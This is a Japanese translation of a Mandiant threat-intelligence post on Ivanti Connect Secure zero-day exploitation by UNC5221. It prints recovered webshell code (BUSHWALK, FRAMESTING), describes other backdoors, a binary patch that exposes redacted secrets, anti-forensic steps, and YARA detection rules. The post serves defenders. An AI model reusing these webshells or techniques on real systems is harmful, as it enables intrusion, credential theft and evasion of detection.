最先端の脅威 - Part 2：Ivanti Connect Secure VPN ゼロデイ・エクスプロイトの調査

※この投稿は米国時間 2024 年 1 月 31 日に、Google Cloud blog に投稿されたものの抄訳です。

2024年1月12日、Mandiantは、Ivanti Connect Secure VPN（CS、旧Pulse Secure）およびIvanti Policy Secure（PS）アプライアンスに影響を与える2つの影響力の大きいゼロデイ脆弱性、CVE-2023-46805およびCVE-2024-21887の詳細を示すブログ投稿を公開しました。2024年1月31日、IvantiはCSとPSデバイスに影響を与える2つの追加脆弱性、CVE-2024-21888とCVE-2024-21893を公表しました。

この脆弱性により、認証されていない脅威アクターは、アプライアンス上で任意のコマンドを昇格した権限で実行することが可能になります。既報の通り、Mandiant は、現在 UNC5221 として追跡されている中国関連のスパイ行為者と疑われる脅威行為者によって、2023 年 12 月 3 日からこれらの脆弱性がゼロデイで悪用されていることを確認しています。 

Mandiantは、UNC5221およびその他の未分類の脅威グループによる、2つの脆弱性の公開後の広範な悪用活動を確認しました。Mandiantは、勧告後の活動のかなりの部分が自動化された手法で実行されていると評価しています。

このブログでは、UNC5221やその他の脅威グループが、インシデントレスポンス活動全体を通じて、侵入後の活動中に採用した戦術、技術、手順（TTP）について詳しく説明します。また、UNC5221 が使用している新しいマルウェア ファミリや、以前に特定されたマルウェア ファミリに対する亜種についても詳述します。このブログ記事に記載されている活動には、1つまたは複数の関連グループが関連している可能性があることを認識しています。UNC5221以外のグループも、これらのツールの1つまたは複数を採用している可能性があります。

これらの観測は、Mandiantのインシデント対応業務、Ivantiとの協力、および当社のパートナーを通じて裏付けられています。Mandiantはまた、ネットワーク防御者のために、侵害の指標（IOC）、YARAルール、およびハードニングガイドを含む追加の推奨事項を提供しています。

注：Ivanti 社は、1月31日より第 1 弾のパッチをリリースし、今後数週間にわたり追加パッチを順次提供する予定です。Ivanti社では、パッチを待っているお客様には、緩和策を適用し、外部のIntegrity Checker Tool (ICT)を実行して悪用の証拠をチェックし、KBの記事に従って製品のアップデートを入手し続けることを推奨しています。 

エクスプロテーション後の活動アップデート

緩和策のバイパス

最近、BUSHWALKとして追跡されるカスタムウェブシェルの展開につながる緩和バイパス技術が確認されました。悪用に成功すると、2024年1月10日にIvantiが提供した初期の緩和策をバイパスすることになります。現時点では、Mandiantは、緩和策バイパス活動は高度に標的化された限定的なものであり、アドバイザリー後の大規模な悪用活動とは異なると評価しています。 

注：外部 ICT は、新しいウェブシェルの存在を検知することに成功しました。私たちは、BUSHWALK をデプロイした後、脅威アクターがその活動の痕跡をクリーンアップし、緩和策バイパス技術によってシステムをクリーンな状態に戻すのを観察しました。ICT はアプライアンスの現在の状態のスナップショットであり、脅威行為者がアプライアンスをクリーンな状態に戻した場合、脅威行為者の活動を必ずしも検出することはできません。さらに、パッチは緩和策バイパスに対処し、修正します。

このキャンペーンで観測された他のウェブシェルと同様に、BUSHWALKはPerlで記述され、正規のCSファイルであるquerymanifest.cgiに埋め込まれています。BUSHWALKは、脅威アクターにサーバーへのファイルの読み書き機能を提供します。

BUSHWALK はウェブリクエストのplatformパラメータが SafariiOS. の場合、悪意のある Perl 関数 validateVersionを実行します。BUSHWALKはBase64とRC4を使ってWebリクエストのcommandパラメータにある脅威行為者のペイロードをデコードし、復号化します。

sub validateVersion {
    my ($rawdata) = @_;
    if ($rawdata ne ''){
        $rawdata =~ s/ /+/g;
        my $param0 = MIME::Base64::decode($rawdata);
        my $key = substr($param0, 0, 32);
        $key = RC4("<REDACTED>", $key);
        my $data = substr($param0,32);
        $data = RC4($key, $data);
        my @param1 = split("@",$data);
        my @action = split("=",$param1[0]);
        if ($action[1] eq 'change') {
            my $changeData = (split("=",$param1[1]))[1];
            changeVersion($changeData, $key);
        }
        elsif ($action[1] eq 'update'){
            my $fname = (split("=",$param1[1]))[1];
            my $versionData = (split("#",$param1[2]))[1];
            updateVersion($fname, $versionData);
        }
        else {
            print CGI::header(-type=>"text/plain", -status=> '404 Not Found');
            print "error";
        }
        exit;
    }
    else{
        return;
    }
}

図1：BUSHWALK実行のエントリーポイント

復号化されたペイロードは、ウェブシェルがサーバーからファイルを読むべきか、サーバーにファイルを書き込むべきかを決定します。

復号化されたペイロードにchangeが含まれている場合、BUSHWALKはchangeData関数を呼び出し、侵害されたアプライアンスから任意のファイルを読み取ります。マルウェアはバッファからファイルパスを抽出します。その後、指定されたパスにあるファイルを開いて読み取り、提供されたキーを使用してRC4でファイル内容を暗号化します。

復号化されたペイロードにupdatが含まれている場合、BUSHWALKはupdateVersion関数を呼び出し、任意のファイルをサーバーに書き込みます。バッファからファイルパスとファイルに書き込むデータを抽出します。次に、この新しいファイルデータが Base64 復号化され、指定されたパスのファイルに書き込まれます。

ライトワイヤー変種

Mandiantは、VPNゲートウェイの正当なコンポーネントであるcompcheckresult.cgiに自身を挿入するLIGHTWIREウェブシェルの亜種を確認しました。

新しいサンプルは、最初のブログ投稿で説明したオリジナルのLIGHTWIREサンプルと同じGETパラメータを使用しています。Mandiantは、利用可能なウェブログ、未割り当ての領域、およびメモリイメージ内でこれらのパラメータを含むGETリクエストを検索することを推奨します。

LIGHTWIREの新しいバージョンは、異なる難読化ルーチンを備えています。まず、文字列のスカラー変数を$useCompOnlyに代入。次に、Perlのtr 演算子を使って文字列を一文字ずつ変換します。その後、鍵がBase64復号化され、入力されたリクエストをRC4復号化するために使用されます。最後に、発行されたコマンドはevalを呼び出して実行されます。

最初のブログ記事で紹介したオリジナルのLIGHTWIREサンプルには、より単純な難読化ルーチンが含まれています。これはRC4オブジェクトを初期化し、発行されたコマンドを復号化するために直ちにRC4オブジェクトを使用します。

CHAINLINEウェブシェル

アプライアンスを最初に悪用した後、MandiantはCHAINLINEとして追跡しているカスタムWebシェルを活用するUNC5221を特定しました。CHAINLINEは、Ivanti Connect Secure Pythonパッケージに組み込まれたPython Webシェルバックドアで、任意のコマンド実行を可能にします。

CHAINLINEはCAV Pythonパッケージの以下のパスで確認：/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py。これは、WIREFIREウェブシェルをサポートするために変更された同じPythonパッケージです。

既存のファイルを修正するWIREFIREとは異なり、CHAINLINEはhealth.pyという新しいファイルを作成しますが、これはCAV Pythonパッケージの正当なファイル名ではありません。このファイル名や関連するコンパイルされたPythonキャッシュファイルの存在は、CHAINLINEの存在を示すかもしれません。

UNC5221は、RESTエンドポイント/api/v1/cav/client/healthでCHAINLINEのアクセスをサポートする新しいAPIリソースパスを登録しました。これは、悪意を持って作成されたHealthAPIリソースをインポートし、/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/__init__.py内のFLASK-RESTful Apiオブジェクトでadd_resource() クラスメソッドを呼び出すことで達成されました。

図8は、CHAINLINEをサポートするために変更された関連ファイルの抜粋です。

FRAMESTINGウェブシェル

Mandiant は、FRAMESTING として追跡している追加のウェブシェルを特定しました。FRAMESTING は Ivanti Connect Secure Python パッケージに組み込まれた Python Web シェルで、任意のコマンド実行を可能にします。

def post(self):
    import zlib
    import simplejson as json
    try:
        dskey='<REDACTED>'
        dsid=request.cookies.get('DSID')
        data=None
        if dsid and len(dsid)>=64:
            data=dsid+'=='
        else:
            data = zlib.decompress(request.data)
            data=json.loads(data).get('data')
        if data:
            import base64
            from Cryptodome.Cipher import AES
            if dskey not in globals():globals()[dskey]={}
            globals()[dskey].pop('result',None)
            aes=AES.new(dskey.encode(), AES.MODE_ECB)
            result={'message':'','action':0}
            exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),
{'request':request,'cache':globals()[dskey]},locals())
            result=globals()[dskey].get('result',result)
            return result, 200
    except:
        pass

図9: FRAMESTINGのPOSTリクエストを処理するために変更されたcategory.py

FRAMESTINGはCAV Pythonパッケージの以下のパスで確認：/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py。これはWIREFIREとCHAINLINEのウェブシェルをサポートするために変更されたPythonパッケージであることに注意してください。

インストールされると、脅威者は REST エンドポイント /api/v1/cav/client/categoriesで FRAMESTING ウェブシェルに POST リクエストでアクセスできます。正規のcategoriesエンドポイントはGETリクエストしか受け付けないことに注意してください。

ウェブシェルは攻撃者からコマンドを受け取るのに二つの方法を使います。まず、現在の HTTP リクエストからDSIDという名前のクッキーの値に格納されたコマンドを取得しようとします。クッキーが存在しないか期待される長さでない場合、リクエストの POST データ内の zlibデータを解凍しようとします。最後に、FRAMESTINGは復号化されたPOSTデータをPythonのexec()文に渡して、追加のPythonコードを動的に実行します。

DSIDは、Ivanti Connect SecureアプライアンスがユーザーのVPNセッションを維持するために使用するクッキーの名前でもあることに注意してください。FRAMESTINGはネットワークトラフィックに紛れ込むために同じクッキー名を使用していると思われます。

ZIPLINE分析の更新

前回のブログ投稿以降、MandiantはZIPLINEパッシブバックドアに関する追加分析を完了しました。ZIPLINEは、コマンド&コントロール(C2)を確立するために使用されるカスタムプロトコルの認証を確保するために、広範な機能を利用しています。このセクションでは、ZIPLINEが活用する暗号、認証、データプロトコルについて取り上げます。

暗号技術

ZIPLINEはAES-128-CBCを使用して双方向でデータを暗号化します。対応する暗号化キーと復号キーは、サーバーから送信されたキーマテリアルから導き出され、マルウェアに埋め込まれたハードコードされたデータと結合されます。結合後、SHA1ハッシュアルゴリズムが使用され、20バイト長の暗号的に強力な配列が生成され、その最初の16バイトがAES-128キーとして使用されます。

攻撃者が受け取る鍵の素材は以下のように定義される：

その後、20バイト長のkeydataがハードコードされた文字列と組み合わされ、バッファ上でSHA1ハッシュが計算されます。 

SHA1ハッシュの最初の16バイトを切り詰めたものが、AES-128鍵とHMAC鍵の両方に使われます(HMACについては次のセクションで詳しく説明)。

復号化および暗号化処理のためのAES初期化ベクトル（IV）の開始値は、decryption_keydataおよびencryption_keydata配列の最初の16バイトです。 

一旦生成されると、復号鍵と暗号化ラウンド鍵(それぞれ11個のラウンド鍵、 インデックスゼロのオリジナルのAES-128鍵を含む)、およびAES-128アルゴリズ ムの現在のIVは、プロセスのライフサイクルの間、メモリに留まります。このため、鍵およびIVをプロセスのメモリから採取することが可能です。ZIPLINE で使用されるプロトコルはステートフルであるため、メッセージの復号化および認証の順番を間違えることはありません。さらに、パッシブバックドアを含むプロセスの寿命は比較的短く設計されており、処理されたコマンドのたびに終了し、侵害されたホスト上で実行されているマルウェアのエコシステムによってリスポーンされる可能性が高くなります。

認 証

ZIPLINEはSHA1ハッシュアルゴリズムとともにHMAC（Hash-based Message Authentication Code）を使用してデータの完全性を強制します。HMACキーは対応するAES-128キーと同じである(2つあることに注意:1つは復号化用、もう1つは暗号化用)。ZIPLINEのHMACデザインは、0から始まる現在のメッセージのインデックスを示す転送ステートを使用。受信または送信されたパケットごとにインデックスがインクリメントされ、その値が認証メカニズムの一部としてメッセージに付加されます。そのため、順番が狂ったメッセージは認証できず、C2サーバとの通信が終了してしまいます。

図11は、HMAC計算に参加する部分を色分けして示したメッセージの例。

図 11 では、32 バイト長のメッセージが C2 サーバから受信されています。次に ZIPLINE は最初の 16 バイト（青）を復号化し、まだ暗号化されているメッセージの 2 番目の部分（赤）を追加し、最後に 4 バイト（黒）を追加します。次に HMAC アルゴリズムは図 11 のバッファの SHA1 ハッシュを計算し、送受信されるメッセージの最後に付加される SHA1 ハッシュと比較します。

データ・プロトコル

ZIPLINEは、カスタムステートフルバイナリプロトコルを使用してC2サーバと通信を行います。通信は、C2サーバーが侵害されたホストに接続し、図12に示すような構造のメッセージを送信することから始まります。

署名はSSH-2.0-OpenSSH_0.3xxという文字列で、その後にAES-128とHMAC鍵生成用の データを含む構造体が続くと予想されます(「暗号化」を参照)。次に、C2は暗号化されたメッセージを送信する。暗号化されたメッセージは、復号化されると、図13に記述された構造に従います。

メッセージ構造は柔軟に設計されていますが、このマルウェアのインスタンスは最初のメッセージに長さ0x10を指定することを期待しています。さらに、復号化後のデータは図14の通りでなければ、マルウェアは接続を終了します。

図14の復号化されたメッセージでは、サイズ(ビッグエンディアン数であることに注意) は最初の2バイト(青)で示され、その後に16バイトの配列(赤)が続きます。不一致の場合、ZIPLINE は接続を終了し、それはプロセスの終了にもつながります。黒で示されたxxバイトは非連続的なパディング値であり、yy 値(オレンジ)はメッセージのHMAC署名を指定します。

最初のメッセージが完全性チェックをパスすると、マルウェアはまず図14のバッファを暗号化し、それをC2サーバーに送り返します。このメッセージはmessage_t.lenが1に等しいと予想されます。このメッセージには（パディングとHMACシグネチャを除けば）意味のある1バイトが含まれており、これは実行されるコマンドのインデックスです。

オープンソース・ツールの利用

インシデント対応活動を通じて、Mandiant は Ivanti CS アプライアンス上の侵入後の活動をサポートするために利用される複数のオープンソースツールを特定しました。これらのツールは、限られた被害者環境内での内部ネットワーク偵察、横移動、およびデータ流出に関連していました。

このコマンドシーケンスは、Base64エンコードされたPythonスクリプトを実行し、パッチが適用されたバージョンのdslsバイナリ（/home/bin/dsls）を/tmp/toolsに書き込みます。高度なレベルでは、パッチを適用したバイナリにより、dslsコマンドは通常冗長化される機密情報を表示できるようになります。図20にBase64デコードされたPythonスクリプトを示します。

このスクリプトは、/home/bin/dslsファイル内のバイトシーケンス 0x8dbd60ffffffを探します。これは、実行中の構成とキャッシュ情報を表示するために使用される、Ivanti Connect Secureアプライアンス上の正規の実行ファイルです。このバイト列が見つかった場合（p>0）、ファイルの内容（c）からバイト配列（d）を作成し、さらに変更します。

次にロジックは、見つかったバイト列（p-2）の2つ前のバイトが0x74に等しいかどうかをチェックします。それが0x74に等しい場合、そのバイトを0xebに置き換えます。最後に、スクリプトは変更されたバイト配列を/tmp/toolsに書き換えます。 

バイナリの修正により、条件付きJMP命令(0x74)が無条件JJMPMP(0xeb)に変更されます。このパッチは、機密データの冗長化を担当する正規のdslsバイナリのチェックをバイパスする実行フローを強制します。これにより、パッチを適用したバイナリは、通常<secure>で出力される冗長化されたフィールドの値を表示できるようになります。

コマンドシーケンスは次のように続く：

1. /tmp/tools（/home/bin/dslsのパッチ版）を実行し、コンフィギュレーションとキャッシュを/tmp/test1.txtにダンプする。
2. /tmp/toolsを削除する。
3. /home/webserver/htdocs/dana-na/css/の変更タイムスタンプとアクセスタイムスタンプで空のファイル/tmp/testtを作成する。これは後でCSSディレクトリを元のタイムスタンプでタイムストンプするために使用される。 
4. ファイルシステムを読み書き可能に再マウントする。
5. ダンプを/home/webserver/htdocs/dana-na/css/内のCSSファイルにアーカイブする。
6. /tmp/test1.txtを削除する。

Mandiant は、脅威行為者によってサーバから設定とキャッシュダンプがダウンロードされた後、侵害の証拠を除去する努力を確認しました。図 21 のコマンドシーケンスは、CVE-2023-46805 および CVE-2024-21887 を悪用して発行されたものです。

コマンド・シーケンスは以下のようになる：

1. ステージングされたコンフィギュレーションとキャッシュ・ダンプを削除する。
2. CSSディレクトリを/tmp/testtの更新タイムスタンプとアクセスタイムスタンプでタイムストンプする。
3. CVE-2023-46805およびCVE-2024-21887の悪用の試みを記録するconfig_rest_server.logファイルを消去する。
4. ファイルシステムを読み取り専用モードで再マウントし、元の状態に戻す。

さらに、コンフィギュレーションとダンプが以下のパスにある圧縮ファイルに保存されていることを確認しました。

• /runtime/webserver/htdocs/dana-na/help/logo.gif
• /runtime/webserver/htdocs/dana-na/help/login.gif

Ivanti 社は、キャッシュとコンフィギュレーションのダンプに起因するリスクを修復するための追加ガイダンスを発表しました。これには、ローカルアカウントの認証情報のリセット、APIキーのリセット、証明書の失効などが含まれます。

CAVウェブサーバーのログ流出

Mandiantは、/runtime/webserver/htdocs/dana-na/help/logo.gifにステージされたCAVウェブサーバのログが流出した証拠を確認しました。このパスには合法的にogo.gifは含まれていません。

このコマンドは、GIFヘッダーをlogo.gifにリダイレクトし、/data/var/dlogs/cav_webserv.logのBase64エンコードされた内容を同じファイルに追加します。

cav_webserv.logには、CAV REST API の uWSGI が管理するウェブリクエストとログが含まれます。Mandiant は、関連する CAV Python パッケージに WIREFIRE、CHAINLINE、FRAMESTING などのウェブシェルが含まれるような複数の変更を確認しています。これらのウェブシェルへのリクエストはすべてこのファイルに記録されます。

ICT操作

システム内部の完全性チェックツールは、ファイルシステムに加えられた変更や追加を検知するのに役立ちます。Mandiantは、外部ICTが内部ICTに関連するPythonパッケージへの変更を検出した事例を特定しました：/home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg。 

scanmgr.py のコメントアウトされた1行がスキャナーの実行を無効にしていることを確認しました。

さらに、Volexity社は2024年1月18日に、侵害されたIvanti Connect Secureアプライアンスの内蔵整合性チェッカー・ツールを改ざんするために利用された別の方法について詳述したブログ投稿を発表しました。

Mandiantは、/home/etc/manifestにあるマニフェストファイルを変更することで、脅威行為者が内部ICTを改ざんしていることを確認しています。このファイルは、システム上で予想されるファイルのリストと、関連する SHA256 ハッシュを保持します。内部 ICT は、公開鍵を使用してマニフェスト・ファイルの署名を検証します。

場合によっては、脅威アクターがマニフェストファイルの新しいデジタル署名を作成できませんでした。これにより内部 ICT が失敗し、マニフェスト ファイルが不良であることを示すイベント ID SYS32042 がシステム イベント ログに生成されます。

完全性チェックツールに関連するイベントIDの全リストは表3のとおりです。

rule M_Hunting_Webshell_BUSHWALK_1 {
  meta:
    author = "Mandiant"
    description = "This rule detects BUSHWALK, a webshell written in Perl CGI 
that is embedded into a legitimate Pulse Secure file to enable file transfers"

  strings:
    $s1 = "SafariiOS" ascii
    $s2 = "command" ascii
    $s3 = "change" ascii
    $s4 = "update" ascii
    $s5 = "$data = RC4($key, $data);" ascii
  condition:
    filesize < 5KB
    and all of them
}

rule M_Hunting_Webshell_CHAINLINE_1 {
  meta:
    author = "Mandiant"
    description = "This rule detects the CHAINLINE webshell, 
which receives RC4 encrypted commands and returns the execution result"
    md5 = "3045f5b3d355a9ab26ab6f44cc831a83"
  strings:
    $s1 = "crypt(command: str)" ascii
    $s2 = "tmp[i] = chr(ord(tmp[i])" ascii
    $s3 = "ord(RC4_KEY[i % len(RC4_KEY)])" ascii
    $s4 = "class Health(Resource)" ascii
    $s5 = "crypt(base64.b64decode(command.encode(" ascii
    $s6 = "base64.b64encode(crypt(result)" ascii
    $s7 = "{\"message\": 'ok', \"stats\": result}" ascii
  condition:
    filesize < 100KB and
    any of them
}

rule M_HUNTING_APT_Webshell_FRAMESTING_result
{
    meta:
        author = "Mandiant"
        description = "Detects strings associated with FRAMESTING webshell"
        md5 = "465600cece80861497e8c1c86a07a23e"
    strings:
        $s1 = "exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),
{'request':request,'cache'"
        $s2 = "result={'message':'','action':0}"

    condition:
        any of them
}

rule M_Hunting_Webshell_LIGHTWIRE_4 {
  meta:
    author = "Mandiant"
    description = "Detects LIGHTWIRE based on the RC4 decoding 
and execution 1-liner."
    md5 = "3d97f55a03ceb4f71671aa2ecf5b24e9"
  strings:
    $re1 = /eval\{my.{1,20}Crypt::RC4->new\(\".{1,50}->RC4\(decode_base64\
(CGI::param\(\'.{1,30};eval\s\$.{1,30}\"Compatibility\scheck:\s\$@\";\}/
  condition:
    filesize < 1MB and all of them
}

rule M_Hunting_CredTheft_WARPWIRE_strings
{
    meta:
        author = "Mandiant"
        description = "Detects strings within WARPWIRE credential harvester"
        md5 = "b15f47e234b5d26fb2cc81fc6fd89775"
    strings:
        $header = "function SetLastRealm(sValue) {"

        // password fields
        $username = "document.frmLogin.username.value;"
        $password = "document.frmLogin.password.value;"

        // post version
        $btoa = "btoa("
        $xhr_post = /xhr.open\(.POST.,( )?url,/

        // get version
        $xhr_get = /xhr.open\(.GET.,( )?url,/
        $xhr_send = "xhr.send(null);"

    condition:
        $header in (0..100) 
        and $password in (@username[1]..@username[1]+100)
        and ((#btoa > 1 and $xhr_post) or ($xhr_send in (@xhr_get[1]..
@xhr_get[1]+50)))
}

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

-Mandiant, 作成者: Matt Lin, Robert Wallace, John Wolfram, Dimiter Andonov, Tyler Mclellan